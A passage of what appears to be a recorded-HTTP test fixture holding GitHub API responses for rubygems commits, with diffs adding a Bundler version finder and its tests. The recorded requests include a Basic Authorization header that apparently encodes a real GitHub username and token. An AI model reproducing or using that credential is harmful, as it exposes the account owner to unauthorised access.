128a74f20b5d0612717d33180b6cca1910b546f4\nauthor Andre Arko 1501385740 -0700\ncommitter Samuel Giddins 1503181786 -0400\n\nset the homepage so that the gem can build\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/697f5a2b3f951ebfe701fd30b159b2f7b89a9a92","html_url":"https://github.com/rubygems/rubygems/commit/697f5a2b3f951ebfe701fd30b159b2f7b89a9a92","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/697f5a2b3f951ebfe701fd30b159b2f7b89a9a92/comments","author":{"login":"indirect","id":78,"avatar_url":"https://avatars1.githubusercontent.com/u/78?v=4","gravatar_id":"","url":"https://api.github.com/users/indirect","html_url":"https://github.com/indirect","followers_url":"https://api.github.com/users/indirect/followers","following_url":"https://api.github.com/users/indirect/following{/other_user}","gists_url":"https://api.github.com/users/indirect/gists{/gist_id}","starred_url":"https://api.github.com/users/indirect/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/indirect/subscriptions","organizations_url":"https://api.github.com/users/indirect/orgs","repos_url":"https://api.github.com/users/indirect/repos","events_url":"https://api.github.com/users/indirect/events{/privacy}","received_events_url":"https://api.github.com/users/indirect/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"128a74f20b5d0612717d33180b6cca1910b546f4","url":"https://api.github.com/repos/rubygems/rubygems/commits/128a74f20b5d0612717d33180b6cca1910b546f4","html_url":"https://github.com/rubygems/rubygems/commit/128a74f20b5d0612717d33180b6cca1910b546f4"}],"stats":{"total":1,"additions":1,"deletions":0},"files":[{"sha":"50585e79962fef2929973b3144e6043cc56c10cf","filename":"Rakefile","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/rubygems/rubygems/blob/697f5a2b3f951ebfe701fd30b159b2f7b89a9a92/Rakefile","raw_url":"https://github.com/rubygems/rubygems/raw/697f5a2b3f951ebfe701fd30b159b2f7b89a9a92/Rakefile","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Rakefile?ref=697f5a2b3f951ebfe701fd30b159b2f7b89a9a92","patch":"@@ -46,6 +46,7 @@ hoe = Hoe.spec ''rubygems-update'' do\n spec_extras[:required_rubygems_version] = Gem::Requirement.default\n spec_extras[:required_ruby_version] = Gem::Requirement.new ''>= 1.8.7''\n spec_extras[:executables] = [''update_rubygems'']\n+ spec_extras[:homepage] = ''https://rubygems.org''\n \n rdoc_locations <<\n ''docs-push.seattlerb.org:/data/www/docs.seattlerb.org/rubygems/''"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:18 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/128a74f20b5d0612717d33180b6cca1910b546f4 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:18 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4372' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"5b8fd04cd8426e071f833733687ef109" Last-Modified: - Sat, 19 Aug 2017 22:29:46 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.061807' X-Github-Request-Id: - C618:4D94:4F0331:B30AE2:5A50E482 body: encoding: ASCII-8BIT string: '{"sha":"128a74f20b5d0612717d33180b6cca1910b546f4","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-07-21T20:14:49Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-19T22:29:46Z"},"message":"Also treat gems.rb as a gemfile name","tree":{"sha":"e6f6b921fe87a4dd57e1d36a04167a261526dc20","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/e6f6b921fe87a4dd57e1d36a04167a261526dc20"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/128a74f20b5d0612717d33180b6cca1910b546f4","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZmLvaAAoJEAEZW7MV3ahWixMP/jQDSWwlGc77B/efDYE0BMZA\nTGQ9fmV6g6kqaidPFP2nRDPZUbJTBDPNviM2pak8+uiF03dWCmLlhhXMSZ/iIgrI\nqc127SLVZMTqCA+L3KkdqfHRdR0IEMtlFFO6DEdDOBpVSisuaUCzmQ7g9W2en0xK\n5ushYB5HhXsSH4vdxUSzoFr6BSfaNQvG8wlO3OwFFeCr3Rnna1KsQwsKoIdqpYDz\neOWvGiCZtbNOlJgK4HvGJeglz0JQ7vSj2rD1FJE67ar+7+boFEKeJmI2VrAZNkEO\n+9BwFQ+13Ecm+VmUI3kp3wWH1l5OfwAL+LWtWE9J7BNb/Kx3xVofXX48JdDaAl5t\nEycOz4b/D9iHsDN+8n9Ih1581l7CAbUwWiNQmZcSlBkQc80ZDAO/FRQsf3Z20Ggw\nzm94bx4ut7/2PsYf1bwlbQuGo7vSy2V8nQ2vaoexb/dEA4uMRBGkMKJhFggMABc3\nWI/WfNH+iV5YiHlM1b6RrrqdYzxMgwLz1BKXycpbLWfnSQVHQWcOXp/d72nyiU/c\nHYef1zoHMaL79ug9J7lTIIuXLZZWkCaJkqBeb/vLglkBF6Mc6HiTRLQcZ/zSVTzT\n2ObpEBwFhVMp/NsxCypszz74uxxhM8SnlFIdHMa0Re85HCqXhF7sMzW2sluWdu77\nVFWwGNPsTuvRAr8qe8jy\n=OuUo\n-----END PGP SIGNATURE-----","payload":"tree e6f6b921fe87a4dd57e1d36a04167a261526dc20\nparent 69847079c940a5c6935a7f83a43131097e08558b\nauthor Samuel Giddins 1500668089 -0500\ncommitter Samuel Giddins 1503181786 -0400\n\nAlso treat gems.rb as a gemfile name\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/128a74f20b5d0612717d33180b6cca1910b546f4","html_url":"https://github.com/rubygems/rubygems/commit/128a74f20b5d0612717d33180b6cca1910b546f4","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/128a74f20b5d0612717d33180b6cca1910b546f4/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"69847079c940a5c6935a7f83a43131097e08558b","url":"https://api.github.com/repos/rubygems/rubygems/commits/69847079c940a5c6935a7f83a43131097e08558b","html_url":"https://github.com/rubygems/rubygems/commit/69847079c940a5c6935a7f83a43131097e08558b"}],"stats":{"total":5,"additions":3,"deletions":2},"files":[{"sha":"09ccf593ec77527b009625f1158152beca613762","filename":"lib/rubygems.rb","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/rubygems/rubygems/blob/128a74f20b5d0612717d33180b6cca1910b546f4/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/128a74f20b5d0612717d33180b6cca1910b546f4/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=128a74f20b5d0612717d33180b6cca1910b546f4","patch":"@@ -133,6 +133,7 @@ module Gem\n \n GEM_DEP_FILES = %w[\n gem.deps.rb\n+ gems.rb\n Gemfile\n Isolate\n ]"},{"sha":"212456392973d6194d90393c40912c71a106f2f6","filename":"lib/rubygems/bundler_version_finder.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/128a74f20b5d0612717d33180b6cca1910b546f4/lib/rubygems/bundler_version_finder.rb","raw_url":"https://github.com/rubygems/rubygems/raw/128a74f20b5d0612717d33180b6cca1910b546f4/lib/rubygems/bundler_version_finder.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/bundler_version_finder.rb?ref=128a74f20b5d0612717d33180b6cca1910b546f4","patch":"@@ -66,7 +66,7 @@ def self.lockfile_contents\n gemfile = ENV[\"BUNDLE_GEMFILE\"]\n gemfile = nil if gemfile && gemfile.empty?\n Gem::Util.traverse_parents Dir.pwd do |directory|\n- next unless gemfile = %w[gems.rb Gemfile].find { |f| File.file?(f) }\n+ next unless gemfile = Gem::GEM_DEP_FILES.find { |f| File.file?(f.untaint) }\n \n gemfile = File.join directory, gemfile\n break\n@@ -77,7 +77,7 @@ def self.lockfile_contents\n lockfile = case gemfile\n when \"gems.rb\" then \"gems.locked\"\n else \"#{gemfile}.lock\"\n- end\n+ end.untaint\n \n return unless File.file?(lockfile)\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:18 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/69847079c940a5c6935a7f83a43131097e08558b body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:18 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4371' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"80cdb919a82eff1d496f5fe37dc747e8" Last-Modified: - Sat, 19 Aug 2017 22:29:46 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.056052' X-Github-Request-Id: - A34A:4D94:4F033A:B30AEE:5A50E482 body: encoding: ASCII-8BIT string: '{"sha":"69847079c940a5c6935a7f83a43131097e08558b","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-06-20T03:56:21Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-19T22:29:46Z"},"message":"Ensure that an appropriate version of Bundler is always activated","tree":{"sha":"6d0370eb80aa1d7285ab1eeaa3172644a62806f5","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/6d0370eb80aa1d7285ab1eeaa3172644a62806f5"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/69847079c940a5c6935a7f83a43131097e08558b","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZmLvaAAoJEAEZW7MV3ahWI68P/0Nb7OnjxtdPUlIDNah7QvNt\nrSMlVoNpgB4THEPrV/RbsKUwNdqNXqnVY/NzvNbd8jmDU2gOMN9SEvu7s1tgk+AP\nHrZ8brpv2PbDyLC3otndgDs5qh+SbUSlh3TT4oMkiQeqSP1wNalawTMCb8M96Bcx\n9A7klQV51Borfw0pUDBUZX3ibrtikcB1rVOowsCqX+2+qmid16LWcJOMoyHjnqIb\n8U2ZXxiONVoANKvJU18ME0deJ4yg+vJPyBbLAvWxuqFO238qmsH1MGpF981QH/X9\ns9sjSSSYtzzkpNvLWAoj1u6316mmuRF4U6If0AuK16mmjKcbL2FVh+k/dtvNPhYu\nKR9VaQegWYkZzvPsVnBE62pcdp7m8bAzHf03wWMLu9L4vw5JIkZ2UQVAcFmv6OpD\nKOp2VnM8RZHB330WxKlQW/7+xJ1l4NEtqfrPt/YsPoq6kASF0Is+eeCtCC83gFyn\nUJLszpMbTqzfeK985FZTmDjBrsG6VFPEeUJ//gvAvlzpEnZMETS7mY9avsqItg5z\nvSyirO+8AuZcz+5LBNYlgmuk/8KTb5ghmbWwDWBTfPDdmtvsk6Pj5MQA3ApBNRLD\nQA7dlfO+ptlYPnPkUAL513+jZfwXVkd3OOhNridsRXEYO9K04a+UXZjyUWP2pMKk\nQNgHpsCIy659Th+Ln6Nl\n=C5rm\n-----END PGP SIGNATURE-----","payload":"tree 6d0370eb80aa1d7285ab1eeaa3172644a62806f5\nparent d5de035229fc5745e17cfa56b3f3ebe30f537468\nauthor Samuel Giddins 1497930981 -0500\ncommitter Samuel Giddins 1503181786 -0400\n\nEnsure that an appropriate version of Bundler is always activated\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/69847079c940a5c6935a7f83a43131097e08558b","html_url":"https://github.com/rubygems/rubygems/commit/69847079c940a5c6935a7f83a43131097e08558b","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/69847079c940a5c6935a7f83a43131097e08558b/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"d5de035229fc5745e17cfa56b3f3ebe30f537468","url":"https://api.github.com/repos/rubygems/rubygems/commits/d5de035229fc5745e17cfa56b3f3ebe30f537468","html_url":"https://github.com/rubygems/rubygems/commit/d5de035229fc5745e17cfa56b3f3ebe30f537468"}],"stats":{"total":306,"additions":301,"deletions":5},"files":[{"sha":"618335b2731c7eaf18c330d2f8e0b3bc70c218bd","filename":"Manifest.txt","status":"modified","additions":2,"deletions":0,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/69847079c940a5c6935a7f83a43131097e08558b/Manifest.txt","raw_url":"https://github.com/rubygems/rubygems/raw/69847079c940a5c6935a7f83a43131097e08558b/Manifest.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Manifest.txt?ref=69847079c940a5c6935a7f83a43131097e08558b","patch":"@@ -254,6 +254,7 @@ hide_lib_for_update/note.txt\n lib/rubygems.rb\n lib/rubygems/available_set.rb\n lib/rubygems/basic_specification.rb\n+lib/rubygems/bundler_version_finder.rb\n lib/rubygems/command.rb\n lib/rubygems/command_manager.rb\n lib/rubygems/commands/build_command.rb\n@@ -489,6 +490,7 @@ test/rubygems/test_config.rb\n test/rubygems/test_deprecate.rb\n test/rubygems/test_gem.rb\n test/rubygems/test_gem_available_set.rb\n+test/rubygems/test_gem_bundler_version_finder.rb\n test/rubygems/test_gem_command.rb\n test/rubygems/test_gem_command_manager.rb\n test/rubygems/test_gem_commands_build_command.rb"},{"sha":"6831ed55b11a66b981c6ce6572556fc5c5db30a9","filename":"lib/rubygems.rb","status":"modified","additions":5,"deletions":4,"changes":9,"blob_url":"https://github.com/rubygems/rubygems/blob/69847079c940a5c6935a7f83a43131097e08558b/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/69847079c940a5c6935a7f83a43131097e08558b/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=69847079c940a5c6935a7f83a43131097e08558b","patch":"@@ -271,15 +271,15 @@ def self.find_spec_for_exe name, exec_name, requirements\n \n specs = dep.matching_specs(true)\n \n- raise Gem::GemNotFoundException,\n- \"can''t find gem #{dep}\" if specs.empty?\n-\n specs = specs.find_all { |spec|\n spec.executables.include? exec_name\n } if exec_name\n \n unless spec = specs.first\n- msg = \"can''t find gem #{name} (#{requirements}) with executable #{exec_name}\"\n+ msg = \"can''t find gem #{dep} with executable #{exec_name}\"\n+ if name == \"bundler\" && bundler_message = Gem::BundlerVersionFinder.missing_version_message\n+ msg = bundler_message\n+ end\n raise Gem::GemNotFoundException, msg\n end\n \n@@ -1334,6 +1334,7 @@ def clear_default_specs\n \n MARSHAL_SPEC_DIR = \"quick/Marshal.#{Gem.marshal_version}/\"\n \n+ autoload :BundlerVersionFinder, ''rubygems/bundler_version_finder''\n autoload :ConfigFile, ''rubygems/config_file''\n autoload :Dependency, ''rubygems/dependency''\n autoload :DependencyList, ''rubygems/dependency_list''"},{"sha":"3c2e52c9f7e20dc844232697e24872877a3c783f","filename":"lib/rubygems/bundler_version_finder.rb","status":"added","additions":87,"deletions":0,"changes":87,"blob_url":"https://github.com/rubygems/rubygems/blob/69847079c940a5c6935a7f83a43131097e08558b/lib/rubygems/bundler_version_finder.rb","raw_url":"https://github.com/rubygems/rubygems/raw/69847079c940a5c6935a7f83a43131097e08558b/lib/rubygems/bundler_version_finder.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/bundler_version_finder.rb?ref=69847079c940a5c6935a7f83a43131097e08558b","patch":"@@ -0,0 +1,87 @@\n+module Gem::BundlerVersionFinder\n+ def self.bundler_version\n+ version, _reason = bundler_version_with_reason\n+\n+ return unless version\n+\n+ Gem::Version.new(version)\n+ end\n+\n+ def self.bundler_version_with_reason\n+ if v = ENV[\"BUNDLER_VERSION\"]\n+ return [v, \"`$BUNDLER_VERSION`\"]\n+ end\n+ if v = bundle_update_bundler_version\n+ return if v == true\n+ return [v, \"`bundle update --bundler`\"]\n+ end\n+ v, lockfile = lockfile_version\n+ if v\n+ return [v, \"your #{lockfile}\"]\n+ end\n+ end\n+\n+ def self.missing_version_message\n+ return unless vr = bundler_version_with_reason\n+ <<-EOS\n+Could not find ''bundler'' (#{vr.first}) required by #{vr.last}.\n+To update to the lastest version installed on your system, run `bundle update --bundler`.\n+To install the missing version, run `gem install bundler:#{vr.first}`\n+ EOS\n+ end\n+\n+ def self.compatible?(spec)\n+ return true unless spec.name == \"bundler\".freeze\n+ return true unless bundler_version = self.bundler_version\n+ spec.version == bundler_version\n+ end\n+\n+ def self.filter!(specs)\n+ return unless bundler_version = self.bundler_version\n+ specs.reject! { |spec| spec.version != bundler_version }\n+ end\n+\n+ def self.bundle_update_bundler_version\n+ return unless File.basename($0) == \"bundle\".freeze\n+ return unless \"update\".start_with?(ARGV.first || \" \")\n+ ARGV.each do |a|\n+ next unless a =~ /\\A--bundler(?:=(#{Gem::Version::VERSION_PATTERN}))?\\z/\n+ return $1 || true\n+ end\n+ nil\n+ end\n+ private_class_method :bundle_update_bundler_version\n+\n+ def self.lockfile_version\n+ return unless lockfile = lockfile_contents\n+ lockfile, contents = lockfile\n+ lockfile ||= \"lockfile\"\n+ regexp = /\\n\\nBUNDLED WITH\\n\\s{2,}(#{Gem::Version::VERSION_PATTERN})\\n/\n+ return unless contents =~ regexp\n+ [$1, lockfile]\n+ end\n+ private_class_method :lockfile_version\n+\n+ def self.lockfile_contents\n+ gemfile = ENV[\"BUNDLE_GEMFILE\"]\n+ gemfile = nil if gemfile && gemfile.empty?\n+ Gem::Util.traverse_parents Dir.pwd do |directory|\n+ next unless gemfile = %w[gems.rb Gemfile].find { |f| File.file?(f) }\n+\n+ gemfile = File.join directory, gemfile\n+ break\n+ end unless gemfile\n+\n+ return unless gemfile\n+\n+ lockfile = case gemfile\n+ when \"gems.rb\" then \"gems.locked\"\n+ else \"#{gemfile}.lock\"\n+ end\n+\n+ return unless File.file?(lockfile)\n+\n+ [lockfile, File.read(lockfile)]\n+ end\n+ private_class_method :lockfile_contents\n+end"},{"sha":"55873c71e87e23a82905f9e389b6a6ff39103899","filename":"lib/rubygems/dependency.rb","status":"modified","additions":2,"deletions":0,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/69847079c940a5c6935a7f83a43131097e08558b/lib/rubygems/dependency.rb","raw_url":"https://github.com/rubygems/rubygems/raw/69847079c940a5c6935a7f83a43131097e08558b/lib/rubygems/dependency.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/dependency.rb?ref=69847079c940a5c6935a7f83a43131097e08558b","patch":"@@ -280,6 +280,8 @@ def matching_specs platform_only = false\n requirement.satisfied_by?(spec.version) && env_req.satisfied_by?(spec.version)\n }.map(&:to_spec)\n \n+ Gem::BundlerVersionFinder.filter!(matches) if name == \"bundler\".freeze\n+\n if platform_only\n matches.reject! { |spec|\n spec.nil? || !Gem::Platform.match(spec.platform)"},{"sha":"6f2847d548a3eb55da14534828d9806eaa579431","filename":"lib/rubygems/errors.rb","status":"modified","additions":3,"deletions":0,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/69847079c940a5c6935a7f83a43131097e08558b/lib/rubygems/errors.rb","raw_url":"https://github.com/rubygems/rubygems/raw/69847079c940a5c6935a7f83a43131097e08558b/lib/rubygems/errors.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/errors.rb?ref=69847079c940a5c6935a7f83a43131097e08558b","patch":"@@ -58,6 +58,9 @@ def initialize name, requirement, specs\n private\n \n def build_message\n+ if name == \"bundler\" && message = Gem::BundlerVersionFinder.missing_version_message\n+ return message\n+ end\n names = specs.map(&:full_name)\n \"Could not find ''#{name}'' (#{requirement}) - did find: [#{names.join '',''}]\\n\"\n end"},{"sha":"8f5eab243b7d207bf1888efd0ae09ba6351909cd","filename":"lib/rubygems/specification.rb","status":"modified","additions":4,"deletions":1,"changes":5,"blob_url":"https://github.com/rubygems/rubygems/blob/69847079c940a5c6935a7f83a43131097e08558b/lib/rubygems/specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/69847079c940a5c6935a7f83a43131097e08558b/lib/rubygems/specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/specification.rb?ref=69847079c940a5c6935a7f83a43131097e08558b","patch":"@@ -1057,6 +1057,7 @@ def self.find_by_name name, *requirements\n def self.find_by_path path\n path = path.dup.freeze\n spec = @@spec_with_requirable_file[path] ||= (stubs.find { |s|\n+ next unless Gem::BundlerVersionFinder.compatible?(s)\n s.contains_requirable_file? path\n } || NOT_FOUND)\n spec.to_spec\n@@ -1068,7 +1069,9 @@ def self.find_by_path path\n \n def self.find_inactive_by_path path\n stub = stubs.find { |s|\n- s.contains_requirable_file? path unless s.activated?\n+ next if s.activated?\n+ next unless Gem::BundlerVersionFinder.compatible?(s)\n+ s.contains_requirable_file? path\n }\n stub && stub.to_spec\n end"},{"sha":"830db165e81fa4b7711810a983362079bd10ba57","filename":"test/rubygems/test_gem_bundler_version_finder.rb","status":"added","additions":102,"deletions":0,"changes":102,"blob_url":"https://github.com/rubygems/rubygems/blob/69847079c940a5c6935a7f83a43131097e08558b/test/rubygems/test_gem_bundler_version_finder.rb","raw_url":"https://github.com/rubygems/rubygems/raw/69847079c940a5c6935a7f83a43131097e08558b/test/rubygems/test_gem_bundler_version_finder.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_bundler_version_finder.rb?ref=69847079c940a5c6935a7f83a43131097e08558b","patch":"@@ -0,0 +1,102 @@\n+# frozen_string_literal: true\n+require ''rubygems/test_case''\n+\n+class TestGemBundlerVersionFinder < Gem::TestCase\n+ def setup\n+ @argv = ARGV.dup\n+ @env = ENV.to_hash.clone\n+ ENV.delete(\"BUNDLER_VERSION\")\n+ @dollar_0 = $0\n+ end\n+\n+ def teardown\n+ ARGV.replace @argv\n+ ENV.replace @env\n+ $0 = @dollar_0\n+ end\n+\n+ def bvf\n+ Gem::BundlerVersionFinder\n+ end\n+\n+ def test_bundler_version_defaults_to_nil\n+ assert_nil bvf.bundler_version\n+ end\n+\n+ def test_bundler_version_with_env_var\n+ ENV[\"BUNDLER_VERSION\"] = \"1.1.1.1\"\n+ assert_equal v(\"1.1.1.1\"), bvf.bundler_version\n+ end\n+\n+ def test_bundler_version_with_bundle_update_bundler\n+ ARGV.replace %w[update --bundler]\n+ assert_nil bvf.bundler_version\n+ $0 = \"/foo/bar/bundle\"\n+ assert_nil bvf.bundler_version\n+ ARGV.replace %w[update --bundler=1.1.1.1]\n+ assert_equal v(\"1.1.1.1\"), bvf.bundler_version\n+ $0 = \"other\"\n+ assert_nil bvf.bundler_version\n+ end\n+\n+ def test_bundler_version_with_lockfile\n+ bvf.stub(:lockfile_contents, [nil, \"\"]) do\n+ assert_nil bvf.bundler_version\n+ end\n+ bvf.stub(:lockfile_contents, [nil, \"\\n\\nBUNDLED WITH\\n 1.1.1.1\\n\"]) do\n+ assert_equal v(\"1.1.1.1\"), bvf.bundler_version\n+ end\n+ bvf.stub(:lockfile_contents, [nil, \"\\n\\nBUNDLED WITH\\n fjdkslfjdkslfjsldk\\n\"]) do\n+ assert_nil bvf.bundler_version\n+ end\n+ end\n+\n+ def test_bundler_version_with_reason\n+ assert_nil bvf.bundler_version_with_reason\n+ bvf.stub(:lockfile_contents, [nil, \"\\n\\nBUNDLED WITH\\n 1.1.1.1\\n\"]) do\n+ assert_equal [\"1.1.1.1\", \"your lockfile\"], bvf.bundler_version_with_reason\n+\n+ $0 = \"bundle\"\n+ ARGV.replace %w[update --bundler]\n+ assert_nil bvf.bundler_version_with_reason\n+ ARGV.replace %w[update --bundler=1.1.1.2]\n+ assert_equal [\"1.1.1.2\", \"`bundle update --bundler`\"], bvf.bundler_version_with_reason\n+\n+ ENV[\"BUNDLER_VERSION\"] = \"1.1.1.3\"\n+ assert_equal [\"1.1.1.3\", \"`$BUNDLER_VERSION`\"], bvf.bundler_version_with_reason\n+ end\n+ end\n+\n+ def test_compatible\n+ assert bvf.compatible?(util_spec(\"foo\"))\n+ assert bvf.compatible?(util_spec(\"bundler\", 1.1))\n+\n+ 